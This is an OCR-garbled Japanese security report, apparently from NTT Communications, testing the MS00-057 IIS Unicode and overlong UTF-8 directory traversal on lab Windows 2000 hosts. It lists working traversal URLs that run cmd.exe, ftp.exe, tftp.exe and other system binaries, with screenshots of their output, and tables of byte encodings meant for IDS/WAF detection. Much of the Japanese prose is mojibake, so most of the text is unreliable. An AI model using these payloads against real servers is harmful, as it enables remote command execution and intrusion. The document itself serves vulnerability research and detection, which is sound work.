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1. AEME

Apache-Tomcat |Zf77E$ 5 UTF-8 O£ K H % 7= Directory Traversal /& (7 &
D) IZBAEL T, MS00-057 % UTF-8 D UK RKBIAL 7 FIETH LI ENBRIBEDIRGEZ FE i
L7-, BGERERITILL R o,

® 3Byte DL/ UTF-8 I CTH., RIEMNKH TS
® [ AFE MS-Windows2000+IIS Ti, [L(EVAR) ], [/(ATvv2)], NI ATy =) 172
17 CIE7e<, UNICODE Corifxiua¥(HFt5) ) ThR BT 5

2. B TEERW®, WMEAHELZEIZDONT

AUR—FTIE, BERCESERR T D28, FoiE it Bb D& ZLIAMNIETR LRV,

UTF-8 &5(Z, UTF-8 O LERIUIHOWTIL, [7 25D Tiellz Web A SR TIEL
W,

*7-. UNICODE (Lo THBE SN = X F A Al ST =2 A [BlET 7 = 712DV, 17
2EZ@ T LI Web VAL TUZLV,

SHIZ, MS00-057 B AR EDEX 2T A THY, i O —E 2w 712k > TBEIETE
SNTWD, Ko T, A& —Fo b EIZERF OV —E A 7055 H ST 70y MS-Windows
T NIFAELIRWEAY ERBESINDT=0  BLA CRiak L7ewy, LINLZemDRI R IZ OV T A
IREYELIRIZ DWW TIE, 17 £2Z©@) ) Tit L7z Microsoft £ Web A ra LU TIELVY,

3. MS00-057 [ DL\ T DR R

3.1. MS00-057 D=

MS00-057 &1, —E A\ 7O ST /RWy Microsoft Windows2000 F@
IIS(Internet Information ServicelZ&B\W\C, [./|DT/(ATv =) | % TR/ UTF-8 #HLLT%
ZET THAV IR TR — VRN REE 725X 2 U T M ThH D,

HL., CGL EITHEDH D Web IART 4L VN ECZOKENTONDLSGE . T AL 7R kT3 —
P NI ST, Web AET AL IR LR RIATIZHHERE DA~ RN TUSER MR THEITS
NHZET2D,

®RELT, 17 235Q) ) THLTZ Microsoft fE2MEILL TWB Xy FZii 3528, Flfcfid
MS-Windows (Windows2000SP4 LARE) TIXZ D LH72 RIEITRBLLZR U,

ZOIHRR EFHNC, MS-Windows 3 AT LA A= /LS TND T 4L F (R C R
TAT)e Web (KAET AL 7N DB 7 4 NA EBDORTAT (B ZIE D RIATNBET 5288
X ETRD,
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OS 3 AT LT —H(Web ar 7)) EBIRTA 714 BEL . R FTEZ B D Tz MS-Windows
VAT DI OB ZTHER D ST EVHZ TR D,

3.2. IRELIRIE

PUFDOBREE T, A& T-72,
® Microsoft-Windows2000 Server H AFERK SP i F
® Microsoft-Windows2000 Server 5K SP 4w A

[Microsoft-Windows2000 Server HA&GEhR SP K | Cld4E H 217 -72, Microsoft-
Windows2000 Server #afhit SP A | Cld—H i HE 2L 7= (3.6 ZH8),

3.3. REENB(T K/ UTF-8 &)

3.3-1~[ 3.3-6 %, (XT3 ) NSy 72Ty 1) | T(EVAR) D 2Byte, BLU 3Byte
DOTE UTF-8 EHITHOWTHRIEL-fE R TH A,

MZ RDHEHERTELN, [[(ZTv2) | NSy 72593 2) | (EVAR) D 2Byte, L
3Byte D72 UTF-8 &£HIZL-> T, MS00-057 RIENFEEHL T D,

3/ = IDll’
IPME REE FRW BRECADGE  U-D AN |-
#ﬁé;-bvfw ea
PELAL )I@ http://192.0.2.3/Scripts/. %c0%af ¥c0¥afwinnt /system32/cmd exe?/c+dir ~| 8 !'Jl/’) 2
. . , 2
Directory of c:¥inetpub¥scripts
2004/01/22 18:13 <DIR>
2004/01/22 18:13 <DIR> 2
0 File(s) 0 bytes
2 Dir{s) 3,030,224,896 bytes free
|
&) R-UtRTENELE [ | [@A4va—ast 7

3.3-1: [/(R5v2 1) 0x2F) 1D 2Byte DR UTF-8 RETHS
[%CO%AF1DIFE  FIRENRIET S
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7 =] ]
JE REE FTW BRCLAVE U-ILD  ALTH |i
j o isgh |Uh >
Ethernet adapter O—1JL T U 7I85HE 3: I
Connection-specific DNS Suffix H
IP Address. . . . . o v v . . . . i 192.0.2.3
Subnet Mask . . . . . . . . . .. : 255.255.255.0 =
Default Gateway . . . . . . . . . : 192.0.2.1 hd|
@ A—IhwTENFLE [ [ (@A 4

3.3-2: N¥(/S DU X5y a)0x5¢) 1D 2Byte DL EL UTF-8 RIBTHS
M%C1%9C1DFZE . BIENEET D

Awinnt/system32/ftp.exe?h - Microsoft Internet Explorer

JrE REE RTW BRCADE YD ALTE
CRp = - QA 4§ SN Ty (4 BN S
PFM(L') €] http://192.0.2.3/Scripts/Hc0Kae¥c0Kae/Hc0Rae¥c0kae /winnt/system32/ ftp.exe?-h ~| iz

Vs

-

FTP [-v] [-d] [-i] [-n] [-2] [-s:filename] [-al] [-w:windowsize] [-&] [host]

-y Suppresses display of remote server responses.
-n Suppresses auto-logzin upon initial connection.
=i} Turns off interactive prompting during multiple file

@ R-InETEELE [T [ [@fsk
3.3-3: [ (EJAK)0x2e)1® 2Byte DTLELL UTF-8 RIATHAIUCOYAEIDIHS . FAEMNFERT S

H
/Z

m32/cmdexe?/crdirtc¥ - Microsoft Internet Explorer L o =] 4|

IHME REE FTW BREAE  U-LD ANTH
TEVADY &) http://192.02:3/Scripts /. %e0XB0%at. %e0¥30%afwinnt /system32/cmd exe 7/ c+dirtc¥ ~| P Vs>
(=

Directory of c:¥

2004/01/23 11:50 9 autoexec.cmd

2004/01/23 11:53 69,632 cryptcat.exe

2004/01/22 18:35 <DIR> Documents and Settings | |
2004/01/23 11:58 173,256 hello.con

2004/01/28 11:53 173,256 hello.exe

2004/01/22 18:13 <DIR> Inetpub

2004/01/25 11:58 81,744 Lha32.exe

2004/01/23 11:53 59,392 nc.exe |- |
[&] R-UniRTENELE [ [ [ [@d4vs—at 74

3.3-4: [ /(XRS5 3)(0x2F) 1M 3Byte DTTEL UTF-8 RIATHS
[%E0%80%AF 1DIEE . MEMNHET S
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\
/3R I (=] S|
FAME REE W FRCANE UMD AL [ = |
EE - = - @ QirE CIbREAN @avep 3| BN S
T"Mﬂxq) l@ http://192.0.2.3/Scripts/ %e0%81%0c. %e0%31 ¥9cwinnt /system32/route.exe LI izEh |Uh >
-~
ROUTE [-f] [-p] [command [destination] i
[MASK netmask] [zateway] [METRIC metric]l [IF interfacel —
-f Clears the routing tables of all gzateway entries. If this is
used in conjunction with one of the commands, the tables are
cleared prior to running the command.
-P WYhen used with the ADD command, makes a route persistent across
boots of the system. By default, routes are not preserved
| when the svatem is restarted. Tznnred far all ather commands. I _,LI
4 »
[&) R-IhETEnELE [ [ [ @1zt 7
3.3-5 : N¥(/ WO RFw 2 )0x5¢) I 3Byte DILEL: UTF-8 RILTH S
T%E0%81%9C I DI5HE , FIREARBE TS
0.2 3@/ winnt/system32/tftp.exe - Microsoft Ihternet Explorer 1 o =] o
TANE REE FBRY BROVE U-MD  ALTH i
CEp - = - Q2 4| Qe GIpFcAn @5 3N S
T’FDX@) l@ http://192.0.2.3/Scripts /%0430 %2e¥e0%30%ae / ¥e 0420 X2 ¥e0%20%ae /winnt /system32/ttp.exe :] iz |'J:/b i
=
TFTP [-i] host [GET | PUT] source [destination]
=i Specifies binary image transfer mode (also called
octet). In binary imaze mode the file is moved
literally, byte by byte. Use this mode when __I
@] R-ThiFTENELE [ [ (@At 7

3.3-6 : [ (EJAF)0x2e)1D 3Byte DL K% UTF-8 RILTH D
[%E0%80%AEIDI/E . HIENHBTT S

3.4. REENZ(UNICODE TH RS -3X=[U+00A5])

UNICODE LLFio X Fa—R T, HARZEDOY(HEE5) & ASCIL O N\ 72T =) | H3[F
—DOa—RIZE Y THR T2, UNICODE Tl Bllx O —RIZED Y THNT -,
DFENINOIY I 2T 2) 11E, U+005C (ZED 4 Thiv, IY(HEE5) 11X U+00A5 ([ZEV4Thiu

77
MS00-057 C UNICODE %~ 7= =4 A X[AlkET 7 =7 % FACTAHTZO R LT OFRGIERS 5
TH D,
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| 7E REER HTW BRCOOVE® VD ALTE |

| ems -2 - D A 4| Qs

JTI""I/?»(![) Fé] http://192.0.2.3/Scripts/ %u00a5. ¥u00abwinnt /system32/find.exe?/? ;’ o 15Eh IJ'J:/D 22
|

INFEHE A - Microsoft Internet Explorer

N=UWBDOMUEEA

ERPOA-JIL, ERRThih. SWHEEIhEN. TR -SOIHRATEL
LVSTHEtE HiHE T

Al hn -t

@] N-UtiRTmENFELE [ [ (@ AvE—Rek

N | K

3.4-1: TMFEZFE UNICODE £ URL T a—FTl%U00A5 1%
BETAETTIEREIERERELEL

R X —UMEDINEE A - Microsoft Internet Explorer . =] 9]

ZrAE) BEE FTN BREADE V=D ANFH

CEp - = - Q4 o Qg @EERCAN @7 3 N S

TELADE [&] http://192023/Scripts/ %5, %aBwinnt/system32/arp.exe?a ZI oizgh |Uvh >

=

N=UMBDOMUEHA
tERPOA-JL. B Shich, SHHEEIh N 2T -8 HATEL
LEJEEtEAIHNZ T,
i =

[&] R=InETENELE [ [ @ Ash=—st 7

34-2: EDFFRIASIZHET ST TIXBRBIXREF L

A¥winnt/system32/netstatexe — Microsoft Ihternet Explorer

| FAME REER FTW BRAO® U-LD ANTH
| «Fs - = - Q7 A | Quez GasscAn (PIEE N5
JT’M/X( b |&] http://192.0.23/Scripts /. %c2%a5. %285 winnt /system32/netstat exe :J o158 |J'Jf/9 2%
=
Proto Local Address Foreign Address State
TCP w2kspldeforhttp w2kspldefo: 1063 TIME_WAIT
TCP w2kspldeforhttp w2kspldefo: 1064 TIME_WAIT
TCP w2kspldefo:http w2kspldefo: 1065 TIME_WAIT
TCP w2kspldeforhttp w2kspldefo: 1066 TIME_WAIT
TCP w2kspldefo:http w2kspldefo: 1068 TIME_WAIT
TCP w2kspldeforhttp w2kspldefo: 10689 ESTABLISHED
TCP w2kspldefo: 1062 WINZ2K-EN-SP0:netbios-ssn TIME_WAIT
TCP w2kspldefo: 1069 w2kspldefo:http ESTABLISHED ]
v
@] H-UnETENFLE l_ l_ | @ Aok 4

B 3.4-3 : N¥(M 52 [u+00A5]) D E Y% UTF-8 RERM%C2%A5 12 52 4R,
MS00-057 Cl&., UNICODE IZ&5 Y =44 XEFHT Iy /N ERATZHEThoI-C LRI hT-
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Ar¥winnt/system32/ping.exe?127.00.1 - Microsoft Internet Explorer o =] 4|
BRCADE Y- AT [ = |
EEp - = - @ 2 4| Que GeRCA @irvr B3| B S
PEVAW €] http://192023/Scripts/ 4eD¥82%5. %eD¥B82%a5winnt /system32/ping exe?127001 | ~| prE Vs>
Reply from 127.0.0.1: bytes=32 time=10ms TTL=128 il
Reply from 127.0.0.1: bytes=32 time<lOms TTL=128
Reply from 127.0.0.1: bytes=32 time{10ms TTL=128 i
Reply from 127.0.0.1: bytes=32 time{10ms TTL=128
=
[&] R-IhETEnELE [ [ [ @12t 7
3.4-4 : N(MEEF{U+00A5)) 10 3Byte D TR UTF-8 RETHD
[%E0%82%A5 | DIHE TH. @M RIS S
3 The page cannot be found — Microsoft Internet Explorer =101 x|

| 7ME REE HRTW BRCOWE® VoD ALTH

[ @ ]

| wFs - = - Q [ 4| Qur @pRcA BEE (BN 5

| PEVADY @] http://192.024/Scripts/. %c2%s5. %c2%sEwinnt/system32/cmd exe?/crdir x| o ]j'J:fb 2
]
The page cannot be found
The page you are looking for might have been removed, had its
narne changed, or is temporarily unavailable.
' ' con . _VJ
@] A—UnETENZELE [ (@ Avs—awh 7

3.4-5 : JEEMR MS-Windows TlEM¥(F i 2{U+00A5)) | Tl. MS00-057 FREIZFIL ALY

3.5. REENZ(UNICODE TH RS h -3 [U+2025])

UNICODE Tl&, U+2025 23, F18 =D& /RL WA, 2O 5% ASCIT (2

B o, T

UAR) ] RSN FTREME D DD, b LIRS SL5 ThiiL, UNICODE Zff 7= =4

A RIEET 7 =92 LU CHI S fERE 1585,
BT, 2SSO THREEL 7R R Th 5,
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| o || >
=]
N=Uh EOMVEE A
HERPOA-VI EBRIhih. SWHEEZh D, T EE -8B ITHATEL
LiSTHEE HIH LT T,
Al hn 2t LI
@] R-SrRTENELE RS /

3.5-1 : M FEFE UNICODE £{i2M URL T>a—KTl%U20251%
BETHEITTIIBERBIERE LG

HimER A - Microsoft Internet Explorer

| 7AME REE RRY HRCAIE YLD ALFH
| «Fs - = - 2 4| Qe AbRCAn BIEE BN 5
| PEVADNE] http://192.023/Scripts /He2%30%5/ %e2450%a5/winnt/system32/ping.exe7127.00.1 | ens ||wn >

-

N=UH RDMUEEA

wEPOA-JIL BEThiEh, SWHEEIhEL. T -8 ZHATEL
LRt AR YR T,

Skt ll
[&] R—TtiETEnELE [ @ AvE—uk 7
3.5-2 : TU+2025 12 F DFEFEN0x2025 | L{RTEL . 3Byte D UTF-8 R THS
[%E2%80%A5 | TF 7t X L{=A%, MS00-057 AR L7/ZLY

JiNER A - Microsoft Internet Explorer = =] 4]

IJrAE REE RO BREADE D ANTH

N —

FED
7R |/7\(4) [@ http:/#192.0.2.3/Scripts/%e2%94%a0 /%e2%04%a0 /winnt /system32/pinz.exe? 27.0.0.1 :] o izgh | yh »
‘. -~

N—=UHWEDMUEEA

WEPOA-JE HREThED, SHHAEETh D, T -HITHRATER
TR HIHB L T

N K

@ A InETENEE T @Ak
X 3.5-3 : TU+2025 1) LT T4 72 ELTI0x2520 1 ELTHRTEL .
3Byte 0) UTF-8 R TEHB%E2%94%A0 | TF 7 ALT=H%, MS00-057 HAEIRLALLY
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=10 x|
2aukEr [T MS J39h =1 e |
'.”#$%&’()*+,-./01234i_|
hiB|71819:]:|<|=|>|?|@|A|B|C|D|E|F|G|H
[[JIK|L[M[N|O|P[Q|R|S|T|U|YIW[X|Y|Z|[]|¥
11°(_| lalb|c|d|e|fle|h|ililk|[l|m|n|o|P
- e K A AT S0 - Y Y 7
Pl ®|a|a|y|[-|[TF|A|7|L|F|D|F|7|F]|2
L APAI AN AE AR AR AEA R PA N A PA RN R4 AR E:
2|4 A1EIR[2]3|3Y (0|07 : v e
N B R A 2 S S s [ 8] #
2 FREEE N = 2 [T 10 s
Je-grEF@ | e | oo |
v iR
Iy (D [Windows: B AE5 ¥ Unicode TAEZEW): l_
B -G [FAT =]
wEIITFORHE: |
GU+2025 {0x8164): Two Dot Leader

3.5-4 : AAEE MS-Windows TI&IU+20251(XM0x8164] I EBH#Eh D

U+2025 %, MS-Windows [ 2R S TCWA T T a—R R TR T DL, 18— >(U+2025)
1%, Shift JIS ® 1 — 5 (0x8164) &5t L TWA(X 3.5-4),

ZZC. Shift-JIS LI/ R RGBT D MS-Windows+IIS T, U+2025 25 L CAI=ZDOMNLLT
DIRFERER T2,

3 The page cannot be found - Microsoft Internet Explorer i =101 x]
| 770D REEO FTW SRANW UMD ATH [ & |
| wFs - = - Q7 4 Qz GpRCAn (IEE | BN S
|7ELAD F@http://192.0.2.4/Scripts/?&z2025%cﬂ%af..%cﬂ%afwinnt/system32/cmd.exe‘?/c+dir ~| @@ ]J'J:fb 2
=
The page cannot be found

The page you are looking for might have been removed, had its
narme changed, or is temporarily unavailable.

&) A-INRTENFLE RS 4

3.5-5 : FEERR MS-Windows+lIS T4 UNICODE %5 URL T>a—KTH S
[%U2025 1% 5 % TH. MS00-057 [£FBILALY

Copyright 2008 NTT Communications Corporation
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73 The page cannot be found - Microsoft Internet Explorer ) =101 x]
| VP FEER RRW BRCANE Y-MD AL [ & |
| «E5 - =» - Q [ & Qrz GpRcAn PEE |5 5
JT’F"W\( &] http://192.024/Scripts /%e2%50%a5/ %e2%30%a5 /winnt/system32/c md exe?/c+dir _'_I o 15Eh IJ'J?/D 2%
-
The page cannot be found

The page you are looking for might have been removed, had its
name changed, or is temporarily unavailable.

@] R-IfiRTmEnELE [ (@ Avs—awb 4
3.5-6 : [U+2025 1% MDFEFE0x20251&{REL . 3Byte D UTF-8 R THH
[%E2%80%A51 T7 7 ALT=H%, MS00-057 NEHIHLZLY
3 The page cannot be found — Microsoft Internet Explorer . i =] 4|
| 770D REE@ FTW SRANW UMD ATH [ = |

| vme-= - QR 3 SAn CAEE | B &
J?FI/R(L[) | @] http://192.0.2.4/Seripts/%e2X04%a0/ ¥e2404%a0/winnt/system32/cmd exe?/c+dir x| o ]j'J:fb >
=
The page cannot be found
The page you are looking for might have been removed, had its
narne changed, or is temporarily unavailable.
[&] R—UnFRTEnEUE [ (@ Avs—awh 7

35-7: TU+2025 12U ILT T4 72 &L TI0x2520 1 L TIREL .
3Byte () UTF-8 RIA THBI%E2%94%A01 TP VAL T=A%, MS00-057 AAFIFL ALY

3.6. F&H

B EBEORREFLDDELLTOLOCD

o [/[(ZTva)), NI AT =), [(EVAR) D 2Byte DU E UTF-8 £33 C,
MS00-057 I3F#H T

® [/(RTvi=a)), NNy IRTya)), [(EVAR) D 3Byte DK UTF-8 £ILT,
MS00-057 3R H 45

® TUNICODE |28~ 7C, /=¥ (M=) ) &l >7-2R BT, MS00-057 (33 HL 4%
(HARFER D MS-Windows CTIFFELLTZ23, HFER D MS-Windows TIXFHLL 727 ~72)

® UNICODE (ko T, srffisii=M¥ (7)) % 3Byte © UTF-8 & E1 T, MS00-057 (1%
B35
(HARFER D MS-Windows CTIFFELLIZ23, #FER D MS-Windows TIXFEHLL 72 ~72)

® UNICODEIU2025] i, H LR -T-

Copyright 2008 NTT Communications Corporation
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RICTHELLF DI /2077,

FREIESCF RREX 5D MS-Windows
H AGER JERE
[[(ZF v 2) )0 2Byte D UF7: UTF-8 £ FEHL —
[[(ZF v 2) )0 3Byte D UF72 UTF-8 £ L —
N7 2T 2) |0 2Byte D ITE7: UTF-8 5 e —
NNy I 2T a) 1D 3Byte DL E 72 UTF-8 #H L —
[(EVAR) D 2Byte D72 UTF-8 #H, FEHL —
[(EVAR) D 3Byte D7 UTF-8 K H FEHL —
M'Y(M3E5) o UTF-8 &5 FEHL FEHLA
'Y(H35) 1 3Byte @ UTF-8 &, L FEEIAT
U+2025 2 o7 =2 A JalkET 7 =7 TS FEHAES

% 3.6-1: RiHER

4, WERIRE/ N FEAAEE
4.1. WA/ FEBAREE

JUEZ2 UTF-8 22 O£ % IDSAPS/WAF TYANZ45ZET, HAGRERELD Web ~— T

HENFEET D ATRENED DD,

VAR N(ZTys2) ) Ny 72Ty =) Y () 50, TLEZ UTF-8 8L, LL D

KOOI, BIO BARFEI—RDO LT —KTHHENHD,

Fo T IER UTF-8 #B2ZDEFET7 AL TLEIE, #Hilzx1E EUC-JP TREBL T\ % Web
PARNTIE B DFD AT TN EDFEENRIE AT 5 ATREME DN B D,

B R TR LUIHGEG ST, LT THD,

MS00-057 Z B9 HDIZF—L7p T L Fa—R HEX
(2T =)0 ASCII =2—F 0x2F
[[(AT =)D 2Byte D72 UTF-8 #Hi 0xCO OxAF
[[(AFv3 =) |0 38Byte DITLFR72 UTF-8 &L 0XEO 0x80 OxAF
N7 2T 2) | ASCIT =—R 0x5C
NI 2T 2) | D 2Byte D72 UTF-8 5 0xC1 0x9c
NI AT 2) D 3Byte DITE 7 UTF-8 #£H1 0xEO 0x81 0x9C
[(UAR)] D ASCII =—F 0x2E
[(EVAR) D 2Byte DI UTF-8 0xCO OxAE
[(EVAR) D 3Byte D72 UTF-8 #H 0XEO 0x80 OxAE
M'Y(MF2 =)o UTF-8 5 0xC2 OxA5

'Y(HFE5) D 3Byte ™ UTF-8 £

0xEO 0x82 OxAb

R 41-1:RIEAREZ D HEXT—F

Copyright 2008 NTT Communications Corporation
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INBOMAEDEDT T, HAGELL GR T M EDEIILL TR LERD,

HEX XF

1 0xC1 ¥

2 0xE0 0x81 5

3 0x81 0x9C o

4 OxAF Y

5 0xEO 0x80 &

6 OxAE 3

7 0xC2 Y

8 0xA5 .

9 0xEO 0x82 <3
10 0x82 OxA5 z
11 0x9C 0x5C 5
12 0x9C 0xC1 158
13 0x9C OxEO 1
14 0x9C 0xCO =
15 0x9C 0xA5 %
16 0x9C 0xC2 E 3

& 4.1-2 : Shift JIS DIBE
HEX XF

1 0xCO OxAF 4

2 0xCO OxAE X

3 0xC2 0xA5 &

4 0xA5 0xC1 F

5 0xA5 0xEO N

6 0xA5 0xCO e

7 0xA5 OxA5 9

8 0xA5 0xC2 F

41-3:EUC JP DIFA
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5. EvMEIZDULT(ER)

XFI1—k (EEs) £kl HEX
0x5C ASCII 01011100 0x5C
2Byte UTF-8 11000001 10011100 0xG1 0x9C
3Byte UTF-8 11100000 10000001 10011100 | OxEO 0x81 0x9C
0x2F ASCII 00101111 0x2F
2Byte UTF-8 11000000 10101111 0xCO OxAF
3Byte UTF-8 11100000 10000000 10101111 OxEO 0x80 OxAF
0x2E ASCII 00101110 0x2E
2Byte UTF-8 11000000 10101110 0xCO OxAE
3Byte UTF-8 11100000 10000000 10101110 | OxEO 0x80 OxAE
0xA5 - 10100101 0xA5
2Byte UTF-8 11000010 10100101 0xC2 0xA5
3Byte UTF-8 11100000 10000010 10100101 OxEO 0x82 OxA5
0x2025 UTF-16(BE) 00100000 00100101 0x20 0x25
3Byte UTF-8 11100010 10000000 10100101 0xE2 0x80 OxA5
0x2520 UTF-16(LE) 00100101 00100000 0x25 0x20
3Byte UTF-8 11100010 10010100 10100000 | OxE2 0x94 0xAO
#* 5-1:EvME
6. RAE{ERSE

NTT 23 =2=/—a R4t

IT <5 A M — LRI R b — 7~ F DA b —E R

X2 VT AN =gk A —

AR B
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7. 5%

@ Apache-Tomcat &TUH7AE UTF-8 FRIF(CVE-2008-2938 #REELR—F) ver1.0
http://www.icto jp/security_report/pdf/sr20080110.pdf

@ TERIEIF—IZ&D. T7MIADESETILREDER] OMEFEHEIZHT 5515%E

(MS00-057)

http://www.microsoft.com/japan/technet/security/bulletin/ms00-057.mspx

Microsoft IIS and PWS Extended Unicode Directory Traversal Vulnerability

http://www.securityfocus.com/bid/1806

Unicode EH = A4V BT I =99 verl5

http://rocketeer.dip jp/secProg/unicodebug006.pdf

RFC2279 — UTF-8, a transformation format of ISO 10646

http://www.ietf.org/rfc/rfc2279.txt

A=—a—kFéteFxal)Ta

http://openmya.hacker,jp/hasegawa/public/20041030/unicode—and—security.pdf

©@ o ® ©

8. BE

® 20084 10 H 27 H : verl 0 R¥ID/NE
® 2009 £ 05 A 26 B : verl.l Web A +FSERIZHE SR EH R URLDERE

9. IRETh D 2B URL

http://www.ntt.com/icto/security/data/soc.html#security_report

10. KLKR—MZETHEEE%

NTT 23a=4—3ar Ak it
IT v R A M —E AR ET R N — < R A —E 25
X2 UT N — g A—

e-mail: scan@ntt.com

U E
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